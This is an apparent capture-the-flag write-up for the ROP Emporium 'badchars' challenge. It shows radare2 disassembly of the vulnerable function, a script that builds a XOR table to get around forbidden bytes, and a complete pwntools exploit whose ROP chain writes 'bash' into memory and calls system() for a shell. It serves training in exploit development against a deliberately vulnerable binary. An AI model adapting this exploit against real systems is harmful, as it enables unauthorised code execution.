Writeup

Security protections:

$ rabin2 -I badchars 
arch     x86
baddr    0x400000
binsz    7427
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Analyze with radare2 pwnme function:

[0x7f2bb4bd6100]> s sym.pwnme
[0x004008f5]> pdg

void sym.pwnme(void)
{
    int64_t iVar1;
    undefined8 uVar2;
    undefined8 uVar3;
    int32_t var_30h;
    int32_t var_28h;
    undefined auStack40 [32];
    
    iVar1 = sym.imp.malloc(0x200);
    if (iVar1 == 0) {
        sym.imp.exit(1);
    } else {
        sym.imp.memset(iVar1, 0, 0x200);
    }
    sym.imp.memset(auStack40, 0, 0x20);
    sym.imp.puts("badchars are: b i c / <space> f n s");
    sym.imp.printf(0x400c2c);
    uVar2 = sym.imp.fgets(iVar1, 0x200, _reloc.stdin_144);
    uVar3 = sym.nstrlen((int32_t)uVar2, 0x200);
    sym.checkBadchars((int32_t)uVar2, (int32_t)uVar3);
	// Incorrect decompiled. memcpy has 3 arguments
    sym.imp.memcpy(auStack40, uVar2, uVar3, auStack40);
    sym.imp.free(uVar2);
    return;
}
[0x004008f5]> pdf
/ (fcn) sym.pwnme 234
|   sym.pwnme ();
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_28h @ rbp-0x28
|           ; CALL XREF from main @ 0x4008df
|           0x004008f5      55             push rbp
|           0x004008f6      4889e5         mov rbp, rsp
|           0x004008f9      4883ec30       sub rsp, 0x30
|           0x004008fd      48c745d00000.  mov qword [var_30h], 0
|           0x00400905      bf00020000     mov edi, 0x200              ; rflags
|           0x0040090a      e841feffff     call sym.imp.malloc         ;  void *malloc(size_t size)
|           0x0040090f      488945d8       mov qword [var_28h], rax
|           0x00400913      488b45d8       mov rax, qword [var_28h]
|           0x00400917      4885c0         test rax, rax
|       ,=< 0x0040091a      7418           je 0x400934
|       |   0x0040091c      488b45d8       mov rax, qword [var_28h]
|       |   0x00400920      ba00020000     mov edx, 0x200              ; rflags
|       |   0x00400925      be00000000     mov esi, 0
|       |   0x0040092a      4889c7         mov rdi, rax
|       |   0x0040092d      e8defdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|      ,==< 0x00400932      eb0a           jmp 0x40093e
|      |`-> 0x00400934      bf01000000     mov edi, 1
|      |    0x00400939      e832feffff     call sym.imp.exit           ; void exit(int status)
|      |    ; CODE XREF from sym.pwnme @ 0x400932
|      `--> 0x0040093e      488d45d0       lea rax, [var_30h]
|           0x00400942      4883c010       add rax, 0x10               ; 16
|           0x00400946      ba20000000     mov edx, 0x20               ; 32
|           0x0040094b      be00000000     mov esi, 0
|           0x00400950      4889c7         mov rdi, rax
|           0x00400953      e8b8fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00400958      bf080c4000     mov edi, str.badchars_are:_b_i_c____space__f_n_s ; 0x400c08 ; "badchars are: b i c / <space> f n s"
|           0x0040095d      e87efdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400962      bf2c0c4000     mov edi, 0x400c2c
|           0x00400967      b800000000     mov eax, 0
|           0x0040096c      e88ffdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400971      488b15180720.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x601090:8]=0
|           0x00400978      488b45d8       mov rax, qword [var_28h]
|           0x0040097c      be00020000     mov esi, 0x200              ; rflags
|           0x00400981      4889c7         mov rdi, rax
|           0x00400984      e8a7fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400989      488945d8       mov qword [var_28h], rax
|           0x0040098d      488b45d8       mov rax, qword [var_28h]
|           0x00400991      be00020000     mov esi, 0x200              ; rflags
|           0x00400996      4889c7         mov rdi, rax
|           0x00400999      e852000000     call sym.nstrlen
|           0x0040099e      488945d0       mov qword [var_30h], rax
|           0x004009a2      488b55d0       mov rdx, qword [var_30h]
|           0x004009a6      488b45d8       mov rax, qword [var_28h]
|           0x004009aa      4889d6         mov rsi, rdx
|           0x004009ad      4889c7         mov rdi, rax
|           0x004009b0      e88b000000     call sym.checkBadchars
|           0x004009b5      488b55d0       mov rdx, qword [var_30h]
|           0x004009b9      488b45d8       mov rax, qword [var_28h]
|           0x004009bd      488d4dd0       lea rcx, [var_30h]
|           0x004009c1      4883c110       add rcx, 0x10               ; 16
|           0x004009c5      4889c6         mov rsi, rax
|           0x004009c8      4889cf         mov rdi, rcx
|           0x004009cb      e870fdffff     call sym.imp.memcpy         ; void *memcpy(void *s1, const void *s2, size_t n)
|           0x004009d0      488b45d8       mov rax, qword [var_28h]
|           0x004009d4      4889c7         mov rdi, rax
|           0x004009d7      e8f4fcffff     call sym.imp.free           ; void free(void *ptr)
|           0x004009dc      90             nop
|           0x004009dd      c9             leave
\           0x004009de      c3             ret

Launch the binary:

$ ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> aaaa

Exiting

Program flow:

buf[32];
var1 = malloc(0x200);
fgets(var1, len(var1), stdin);
memcpy(buf, var1, len(var1)); 

So we have an usual stack based buffer overflow. However this time we have badchars, which means that if we try to insert a character which is in the list of badchars : (b i c / <space> f n s), the program will modify our input or discard it.

So we need to find addresses of gadgets without badchars, example : 0x04086263 is a bad address becase 0x62 and 0x63 are badchars b, c.

Luckily there’s an option on ropper to filtrate the addresses:

$ ropper --file badchars -b 6269632f20666e73

This is not the only limitations tho, we can’t simply write /bin/sh with a mov [reg1], reg2 instruction in the .data section, because the string contains bad characters. We need to find an equivalent rop chain to achieve the writing of the string /bin/sh.

An useful gadget is :

0x0000000000400b30: xor byte ptr [r15], r14b; ret;

r14b represents the lowest byte of the r14 register. If the bytes pointed by r15 are 0, we can build a table to find two characters, which xored results in the character we want. In this case we need to find a pair of characters that xored make the /, another two that xored make the b, and so on.

chars = [i for i in range(0, 256)]
first_xor = {}
sec_xor = {}
bad = 'bic/ fns'

for k in range(0, len(bad)):
    for i in range(1, len(chars)):
        for j in range(i + 1, len(chars)):
            if (chars[i] ^ chars[j]) == ord(bad[k]) and \
			chr(chars[i]) not in bad and chr(chars[j]) not in bad:
                first_xor[bad[k]] = chars[i]
                sec_xor[bad[k]] = chars[j]

print(first_xor)
print(sec_xor)

Output:

{'b': 191, 'i': 191, 'c': 191, '/': 223, ' ': 223, 'f': 191, 'n': 191, 's': 191}
{'b': 221, 'i': 214, 'c': 220, '/': 240, ' ': 255, 'f': 217, 'n': 209, 's': 204}

The section where we’re going to write the /bin/sh is still the .data as in write4, and we have a pop r15; pop r14; ret gadget. We’re ready to write the final exploit.

Exploit

#!/usr/bin/env python3

from pwn import p64, remote, context, process

class Sender():

    def __init__(self, local, debug):
        if debug == True:
            context.log_level = 'debug'
        if local == 'local':
            self.conn = process('./badchars')
        else:
            self.conn = remote('127.0.0.1', 9999)

class Badchars():

    def __init__(self):
        self.bad = 'bic/ fns'

    def generate_table(self):
        chars = [i for i in range(0, 256)]
        first_xor = {}
        sec_xor = {}
        for k in range(0, len(self.bad)):
            for i in range(1, len(chars)):
                for j in range(i + 1, len(chars)):
                    if (chars[i] ^ chars[j]) == ord(self.bad[k])\
                    and chr(chars[i]) not in self.bad\
                    and chr(chars[j]) not in self.bad:
                        first_xor[self.bad[k]] = chars[i]
                        sec_xor[self.bad[k]] = chars[j]
        return (first_xor, sec_xor)

    def generate_payload(self):
        first_xor, sec_xor = self.generate_table()
        xor = p64(0x0400b30) # xor byte ptr [r15], r14b; ret;
        pop_r14_r15 = p64(0x0400b40)
        pop_rdi = p64(0x0400b39)
        system = p64(0x004006f0)
        data = 0x0601074
        bash = b'bash'

        payload = b'a' * 40
        for i in range(0, len(bash)):
            x = bash[i]
            if chr(x) not in self.bad:
                payload += pop_r14_r15 + p64(x) + p64(data + i)
                payload += xor
                print("i not bad : " + str(i) + ", x : " + chr(x))
                continue
            else: 
                payload += pop_r14_r15 + p64(first_xor[chr(x)]) + p64(data + i)
                payload += xor 
                payload += pop_r14_r15 + p64(sec_xor[chr(x)]) + p64(data + i)
                payload += xor 
                print("i bad : " + str(i) + ", x : " + chr(x))

        payload += pop_rdi + p64(data)
        payload += system
        return payload

    def attack(self, local, debug):
        payload = self.generate_payload()
        print("payload's length : " + str(len(payload)))
        print("max size : " + str(0x200))
        snd = Sender(local, debug)
        snd.conn.recvline()
        snd.conn.recvline()
        snd.conn.recvline()
        snd.conn.recvline()
        snd.conn.recvuntil('>')
        snd.conn.sendline(payload)
        snd.conn.interactive()
        snd.conn.close()
        with open("out.txt", "wb") as f:
            f.write(payload)

def main():
    attack = Badchars()
    attack.attack('local', False) 

if __name__ == '__main__':
    main()